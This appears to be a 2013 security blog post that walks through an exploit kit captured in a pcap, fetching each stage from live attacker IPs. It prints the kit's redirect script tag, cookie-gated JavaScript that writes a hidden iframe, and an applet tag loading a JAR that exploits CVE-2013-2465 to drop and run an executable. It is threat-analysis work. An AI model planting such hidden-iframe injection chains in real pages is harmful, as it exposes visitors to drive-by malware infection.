Unknown EK: http://t.co/iYLPMTZRw3
— Set Abominae (@Set_Abominae) December 6, 2013
I went away for the week-end and when I got back Sunday night I was curious to what this could end up being. Kindly as always @Set_Abominea shipped me a very nice pcap of what was seen over at his place and from there I wanted to go the usual way and try to pick this thing a part.Luckily this kit was quite simple and it did not take much time to figure out what these bad guys where up to. No JavaScript obfuscation, no payload XOR or encryption.
Warning: the bad stuff is still alive so take precautions necessary if you engage it on your own.
To the task at hand. Lets start fetching bad stuff...
--2013-12-09 -- hxxp:// www.f58s.com/vd2.html
Resolving www.f58s.com... 23.110.115.253
Connecting to www.f58s.com|23.110.115.253|:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 47 [text/html]
Saving to: `vd2.html'
0K 100% 3.65M=0s
2013-12-09 (3.65 MB/s) - `vd2.html' saved [47/47]
So what did we get:
<script src=hxxp: //142.0.141.145/2.js></script>
Not much: Go and fetch some JavaScript was all.
--2013-12-09 -- hxxp:// 142.0.141.145/2.js
Connecting to 142.0.141.145:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 269 [application/x-javascript]
Saving to: `2.js'
0K 100% 22.6M=0s
2013-12-09 (22.6 MB/s) - `2.js' saved [269/269]
which gave me:
if(document.cookie.indexOf('veatpr')==-1){var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='veatpr=Yes;path=/;expires='+ex
pires.toGMTString();document.write("<iframe src=hxxp: //142.0.141.145/2.html width=0 height=0></iframe>");}
So just some cookie stuff and then it writes an iframe tag. How convenient. Oh and of course with=0 and height=0. So we are not supposed to see it after all.
Time to fetch what we are not supposed to be looking at in that iframe:
--2013-12-09 -- hxxp: //142.0.141.145/2.html
Connecting to 142.0.141.145:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 279 [text/html]
Saving to: `2.html'
0K 100% 22.9M=0s
2013-12-09 (22.9 MB/s) - `2.html' saved [279/279]
<html>
<head>
</head>
<body>
<applet archive="waRSJk.jar" code="PIVOEGh" width="0" height="0">
</applet>
</body>
</html>
<script language="javascript" src="hxxp: //count35.51yes.com/click.aspx?id=351358975&logo=1" charset="gb2312"></script>
Right on with Java applet tags. So we are going to be sploited through Java then.
--2013-12-09 -- hxxp: //142.0.141.145/waRSJk.jar
Connecting to 142.0.141.145:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 59768 (58K) [application/java-archive]
Saving to: `waRSJk.jar'
0K .......... .......... .......... .......... .......... 85% 43.6K 0s
50K ........ 100% 2.33M=1.2s
2013-12-09 (50.7 KB/s) - `waRSJk.jar' saved [59768/59768]
The java archive:
As reported, it utilizing the vulnerability from CVE-2013-2465. Yes that is the 0-Day for Java 1.6.45 that will never get patched. A lot of EK using it so patch-patch-patch(If you have not already).
The JAR archive also had a couple of embedded files. One was a configuration file and the other an exe file.
Here is how the embedded file is written to disk.
The Java code also checks weather it is in WIN or UX land
Reading the properties from the config file
And the file is executed as well
Even if this particular walk through of the kit did not download malware with the Java code. It seem like the code is capable of doing so. It also seem like that is configured through the embedded properties file, as we saw earlier that is probably decided with the property name URL.
In addition the pcap from @Set_Abominea contained download of an exe file
I fetched it manually as well, but could not find trace of that in the Java code. Could be fetched with the malware payload it self though. Strange user-agent at least.
MD5 and virustotal was covered in the paste linked in the tweet. I got exactly the same files 3 days later when I fetched them manually. So no need to repeat that here.
Happy EK hunting
No comments:
Post a Comment